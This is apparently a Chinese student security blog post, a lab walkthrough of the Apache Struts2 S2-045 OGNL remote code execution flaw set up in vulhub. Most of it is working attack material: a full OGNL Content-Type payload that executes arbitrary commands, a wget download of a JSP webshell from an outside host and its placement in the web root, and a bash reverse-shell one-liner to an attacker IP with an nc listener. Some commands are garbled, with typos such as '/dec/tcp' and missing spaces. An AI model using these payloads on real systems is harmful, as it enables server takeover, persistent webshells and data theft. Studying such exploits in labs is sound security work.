学生会私房菜
学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题。
本期文档内容为:《S2-045 Remote Code Execution漏洞利用》
作者介绍:Fhawkz
福建师范大学18级学生,国科学生会安全团队的一员,本人对技术喜欢进行钻研,平时也爱鼓捣一些安全的相关技术,本次分享是自己在日常学习中有用到的一些技术,希望给大家带来一些安全学习上的帮助。
0x00漏洞背景
Struts2是第二代基于Model-View-Controller(MVC)模型的java企业级web应用框架,并成为当时国内外较为流行的容器软件中间件。jakarta是apache组织下的一套Java解决方案的开源软件的名称,包括很多子项目。Struts就是jakarta的紧密关联项目。
根据CNVD技术组成员单位——杭州安恒信息技术有限公司提供的分析情况,基于JakartaMultipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达的URL导致远程代码执行。
CNVD对漏洞的综合评级均为“高危”。由于struts 2.3.5之前的版本存在S2-016漏洞,因此有较多升级后的Apache struts2的版本为2.3.5及以上版本,极有可能受到漏洞的影响。
0x01受影响版本
Struts2.3.5-Struts2.3.31
Struts2.5-Struts2.5.10
0x02漏洞搭建
a. 从git仓库获取vulhub
1) gitclone https://github.com/vulhub/vulhub.git
b. docker-compose工具的下载
c. 在docker-compose.yml中有端口映射关系
![c25fae8273140c9ff6420296d1d2acc9.png](https://img-blog.csdnimg.cn/img_convert/c25fae8273140c9ff6420296d1d2acc9.png)
d. 环境创建docker-compose -d up
e. 查看环境docker ps -a
![d0ee836960d227cf0fd4c8056da1f924.png](https://img-blog.csdnimg.cn/img_convert/d0ee836960d227cf0fd4c8056da1f924.png)
f. 进入docker的bash:docker exec -t -i CONTAINER ID /bin/bash
![c2efd6d21973ba4b58db972913e5c04d.png](https://img-blog.csdnimg.cn/img_convert/c2efd6d21973ba4b58db972913e5c04d.png)
0x03POC检测漏洞存在
a. 访问环境
![083aa9ebd8413195f3c7db5ff8468b7e.png](https://img-blog.csdnimg.cn/img_convert/083aa9ebd8413195f3c7db5ff8468b7e.png)
b. 抓包,使用vulhub自带的poc验证
Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
发送multipart/form-data使得能够对ognl表达式进行解析执行
addHeader('vulhub',233*233):添加头部的名称为vulhub,值为233*233
![da379069f2a74daff37eda1c709587c9.png](https://img-blog.csdnimg.cn/img_convert/da379069f2a74daff37eda1c709587c9.png)
c. 使用百度到的poc,实现命令执行操作
POC:
Content-Type:"%{(#bm='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
![572e28c81f72e18b3c1c314429a65663.png](https://img-blog.csdnimg.cn/img_convert/572e28c81f72e18b3c1c314429a65663.png)
0x04根据POC编写简单的利用程序
a. 设置poc的列表,获取输入,并复制到#cmd上;使用urllib2.Request构造web请求
b. 设置两个参数,method及target
![39ef4f907d8266aff419872e5570a30b.png](https://img-blog.csdnimg.cn/img_convert/39ef4f907d8266aff419872e5570a30b.png)
脚本文件:
myself_s2scan.py
0x05文件上传
a. 通过POC上传jsp一句话并写入到.jsp文件中
即
#cmd=’name=""&&echo$name’
本地执行没有问题
但是如果在poc上插入命令会出现报错
技术水平不够,暂时不知道其他方式
b. 通过网上的html连接器并上传菜刀码
![50a173c398e093d3e03eee87bd6e5a28.png](https://img-blog.csdnimg.cn/img_convert/50a173c398e093d3e03eee87bd6e5a28.png)
在提交代码处填写菜刀码
连接器代码:
test.html
c. 利用菜刀程序连接webshell
网上相关找到的jsp菜刀马
cknife.txt
d. 找到了新的能用的jspx菜刀马
e. 尝试用下载的思路进行传递,能绕过编码问题
1) name="wgetfhbebaidu.top/1.jspx"&&echo $name > final.txt && chmod+x final.txt
![743a216dd4cb7a35031a9cba77128919.png](https://img-blog.csdnimg.cn/img_convert/743a216dd4cb7a35031a9cba77128919.png)
2) ./final.txt
![ca9f6daad02e38005525420db741b6aa.png](https://img-blog.csdnimg.cn/img_convert/ca9f6daad02e38005525420db741b6aa.png)
3) 通过寻找我们能访问到的文件,来获得web站点的相对路径
![6bea94d8e4069eb68bcb2fcc3d1eca1b.png](https://img-blog.csdnimg.cn/img_convert/6bea94d8e4069eb68bcb2fcc3d1eca1b.png)
4) mv1.jspx ./src/main/webapp/[能访问到的web目录]
![49769f8f6cee12926ca971ae6c6024d8.png](https://img-blog.csdnimg.cn/img_convert/49769f8f6cee12926ca971ae6c6024d8.png)
f. 使用Cknife进行连接尝试即可
![f1cccfdb8c181e50c127a0ef65c8a589.png](https://img-blog.csdnimg.cn/img_convert/f1cccfdb8c181e50c127a0ef65c8a589.png)
0x06反弹Shell
a. 主要利用的payload
bash -i >&/dec/tcp/192.168.16.133[攻击者ip]/7001[port] 0 > &1
依赖输出重定向,将bash反弹给某个ip的某个端口
b. 用nc工具监听设置的port
![c78f257ada7d572542504fea46e0b72f.png](https://img-blog.csdnimg.cn/img_convert/c78f257ada7d572542504fea46e0b72f.png)
c. 在poc中插入payload并执行
![082a3dd496959818190189813474614f.png](https://img-blog.csdnimg.cn/img_convert/082a3dd496959818190189813474614f.png)
![0dfc4cb996dd43e520a1075edf557117.png](https://img-blog.csdnimg.cn/img_convert/0dfc4cb996dd43e520a1075edf557117.png)
d. 可以在监听的攻击方上得到对应的shell
![1b834df5e3158367704ff2ceb9dd3c2a.png](https://img-blog.csdnimg.cn/img_convert/1b834df5e3158367704ff2ceb9dd3c2a.png)
0x07漏洞成因分析
参考网站:https://www.anquanke.com/post/id/85628
在org.apache.struts2dispatchergfilterStrust2PrepareAndExecuteFilter对request进行封装
![99156ba3b03f944a0b10b20a87605d12.png](https://img-blog.csdnimg.cn/img_convert/99156ba3b03f944a0b10b20a87605d12.png)
封装流程:ngPrepareOperations
![d9192a54801ed37e17aaa64b5b5fd168.png](https://img-blog.csdnimg.cn/img_convert/d9192a54801ed37e17aaa64b5b5fd168.png)
dispatcherDispatcher
这或许是每个poc中的Content-Type都含有multipart/form-data的原因
![8c01b48cf0c80c36246ec9d11cbc9752.png](https://img-blog.csdnimg.cn/img_convert/8c01b48cf0c80c36246ec9d11cbc9752.png)
getMultiPartRequest()
这里开始看不懂
先声命名为mpr的MultiPartRequest接口
然后在getContainer()获取一个实例类返回
![3621b6874bf31708f73891b220491471.png](https://img-blog.csdnimg.cn/img_convert/3621b6874bf31708f73891b220491471.png)
实例化一个MultiPartRequestWrapper对象
![33839c5607d6dd2594db70407a8cd823.png](https://img-blog.csdnimg.cn/img_convert/33839c5607d6dd2594db70407a8cd823.png)
或许ognl被执行在这之前已经找到入口了,但是我看不出来……
具体觉得那个参考文献写的应该挺清楚
需要有点Java功底的才能了解清楚
![316fcc3770cc8af5fc3bb8c79387835e.png](https://img-blog.csdnimg.cn/img_convert/316fcc3770cc8af5fc3bb8c79387835e.png)
![0b43126cc25212f7376cf41815cc2f05.png](https://img-blog.csdnimg.cn/img_convert/0b43126cc25212f7376cf41815cc2f05.png)
0x08OGNL语法分析
%{ //强制解析为ongl表达式
(#bm='multipart/form-data'). //整个漏洞的入口点,在漏洞分析中有体现 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). //看起来像是得到一个常量并赋给dm (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='ls'). //定义要执行什么命令的变量(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). //通过os.name返回的字符串中是否包含win来判断操作系统是windows还是其他类型 (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). //如果是windows则调用cmd.exe否则调用/bin/bash执行之前cmd变量的命令 (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()). //发起进程(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush()) }
![9f6d52bbd679f974ff140983afa19daf.png](https://img-blog.csdnimg.cn/img_convert/9f6d52bbd679f974ff140983afa19daf.png)
![2fed064e1d409123c9015a75a83d86d6.png](https://img-blog.csdnimg.cn/img_convert/2fed064e1d409123c9015a75a83d86d6.png)
国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,建设部门有技术部和综合部。
如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!
学生会信箱:
student@goktech.cn